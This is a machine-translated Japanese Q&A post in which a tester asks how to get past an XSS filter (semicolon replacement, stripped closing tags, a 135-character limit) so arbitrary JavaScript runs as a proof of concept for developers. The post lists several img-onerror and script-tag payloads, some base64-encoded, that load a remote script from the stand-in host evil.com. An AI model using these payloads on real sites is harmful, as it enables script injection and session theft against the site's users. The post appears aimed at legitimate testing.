0

XSS に対して脆弱で、タグを使用して JavaScript を実行できる Web アプリを見つけましたが、img私が使用しているメソッドは、いくつかのフィルターを使用してそれを停止しようとしているため、ページの残りの部分を破壊します。

これまでに検出したフィルターは次のとおりです。

  • </anythingyouwant>何も置き換えられない
  • />何も置き換えられない
  • ;次までスペースに置き換えられます>
  • 配送方法を含めて135文字以内<img src="." onerror="alert('xss')">

インジェクション<img src="." onerror="alert('xss')">は問題なく機能しますが、これらの開発者はやや懐疑的であり、完全な JavaScript コードの完全な PoC を見たいと考えています。任意のスクリプトを実行することはまったく可能ですか?

私が試してみました:

  • <img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">結果: URL を短縮しても長すぎます
  • <script src="//evil.com/myscript" />結果:そのようなスクリプトタグを閉じることができず、フィルタリングされ、「終了」タグを省略したWebアプリによってページの残りの部分が破棄されます
  • <script src=//evil.com/myscript"></script>結果: フィルタリングされ、上記のようにページの残りの部分が破棄されます
  • <img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">結果: セミコロンがフィルタリングされ、Web ページが壊れる
  • <img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">結果:これが有効なjsかどうかはわかりview page sourceませんが、意図したとおりにクロムに表示されますが、期待どおりに機能しません

何らかの形で関連する場合に備えて、テストにクロムを使用しています。

4

1 に答える 1